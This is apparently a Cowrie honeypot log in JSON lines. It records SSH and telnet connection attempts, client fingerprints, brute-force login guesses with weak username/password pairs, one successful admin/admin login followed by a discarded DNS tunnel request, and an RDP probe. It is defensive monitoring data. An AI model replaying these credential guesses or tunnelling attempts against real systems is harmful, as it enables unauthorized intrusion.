{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:26.626563Z","src_ip":"80.94.92.184","session":"bfec52ec071a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:27.281939Z","src_ip":"80.94.92.184","session":"bfec52ec071a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:28.873509Z","src_ip":"80.94.92.184","session":"bfec52ec071a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":46600,"dst_ip":"10.17.0.5","dst_port":22,"session":"750c47697ff3","protocol":"ssh","message":"New connection: 103.149.170.125:46600 (10.17.0.5:22) [session: 750c47697ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:42.558187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:42.562771Z","src_ip":"103.149.170.125","session":"750c47697ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:42.830277Z","src_ip":"103.149.170.125","session":"750c47697ff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"f123456","message":"login attempt [root/f123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:43.616607Z","src_ip":"103.149.170.125","session":"750c47697ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:44.914779Z","src_ip":"103.149.170.125","session":"750c47697ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":90.81763100624084,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:45.698659Z","src_ip":"152.42.224.71","session":"90e5c1aa6715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50030,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2b466710b24","protocol":"telnet","message":"New connection: 152.42.224.71:50030 (10.17.0.5:23) [session: a2b466710b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:55:54.186641Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63222,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3632cbd73a4","protocol":"ssh","message":"New connection: 87.251.64.176:63222 (10.17.0.5:22) [session: f3632cbd73a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:16.185862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:16.191456Z","src_ip":"87.251.64.176","session":"f3632cbd73a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:16.298564Z","src_ip":"87.251.64.176","session":"f3632cbd73a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:16.735282Z","src_ip":"87.251.64.176","session":"f3632cbd73a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:16.877123Z","session":"f3632cbd73a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:17.002566Z","src_ip":"87.251.64.176","session":"f3632cbd73a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:17.127254Z","src_ip":"87.251.64.176","session":"f3632cbd73a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":36636,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb481d38d4cb","protocol":"ssh","message":"New connection: 103.77.242.62:36636 (159.203.135.109:22) [session: eb481d38d4cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:21.146885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:21.152039Z","src_ip":"103.77.242.62","session":"eb481d38d4cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:21.387270Z","src_ip":"103.77.242.62","session":"eb481d38d4cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1231231","message":"login attempt [root/1231231] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:22.092745Z","src_ip":"103.77.242.62","session":"eb481d38d4cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:23.330842Z","src_ip":"103.77.242.62","session":"eb481d38d4cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":54026,"dst_ip":"159.203.135.109","dst_port":22,"session":"1322e8a546b5","protocol":"ssh","message":"New connection: 103.75.183.219:54026 (159.203.135.109:22) [session: 1322e8a546b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:42.185814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:42.190425Z","src_ip":"103.75.183.219","session":"1322e8a546b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:42.432662Z","src_ip":"103.75.183.219","session":"1322e8a546b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"i123456","message":"login attempt [root/i123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:43.159256Z","src_ip":"103.75.183.219","session":"1322e8a546b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:44.404424Z","src_ip":"103.75.183.219","session":"1322e8a546b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34056,"dst_ip":"159.203.135.109","dst_port":22,"session":"8675eaf1865c","protocol":"ssh","message":"New connection: 51.250.105.222:34056 (159.203.135.109:22) [session: 8675eaf1865c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:44.806107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:44.810762Z","src_ip":"51.250.105.222","session":"8675eaf1865c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:44.933119Z","src_ip":"51.250.105.222","session":"8675eaf1865c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password01","message":"login attempt [root/password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:45.303297Z","src_ip":"51.250.105.222","session":"8675eaf1865c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:46.429203Z","src_ip":"51.250.105.222","session":"8675eaf1865c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.175.212.220","src_port":33016,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb6ed53c28cf","protocol":"telnet","message":"New connection: 107.175.212.220:33016 (159.203.135.109:23) [session: bb6ed53c28cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:48.829132Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":60205,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b2c4fc9586","protocol":"ssh","message":"New connection: 152.42.212.128:60205 (10.17.0.5:22) [session: 71b2c4fc9586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:49.709907Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:49.714846Z","src_ip":"152.42.212.128","session":"71b2c4fc9586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:49.718498Z","src_ip":"152.42.212.128","session":"71b2c4fc9586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.254.47.154","src_port":34580,"dst_ip":"10.17.0.5","dst_port":22,"session":"27c430cd346b","protocol":"ssh","message":"New connection: 47.254.47.154:34580 (10.17.0.5:22) [session: 27c430cd346b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:52.905576Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:52.910033Z","src_ip":"47.254.47.154","session":"27c430cd346b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:56:52.913448Z","src_ip":"47.254.47.154","session":"27c430cd346b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":42312,"dst_ip":"159.203.135.109","dst_port":22,"session":"90d61c506a52","protocol":"ssh","message":"New connection: 147.45.211.215:42312 (159.203.135.109:22) [session: 90d61c506a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:00.373500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:00.379516Z","src_ip":"147.45.211.215","session":"90d61c506a52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:00.554552Z","src_ip":"147.45.211.215","session":"90d61c506a52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456y","message":"login attempt [root/123456y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:01.079851Z","src_ip":"147.45.211.215","session":"90d61c506a52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:02.257238Z","src_ip":"147.45.211.215","session":"90d61c506a52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":33266,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f1d60f5d3dc","protocol":"ssh","message":"New connection: 103.98.149.87:33266 (159.203.135.109:22) [session: 0f1d60f5d3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:02.933159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:57:02.938326Z","src_ip":"103.98.149.87","session":"0f1d60f5d3dc","protocol":"ssh"}
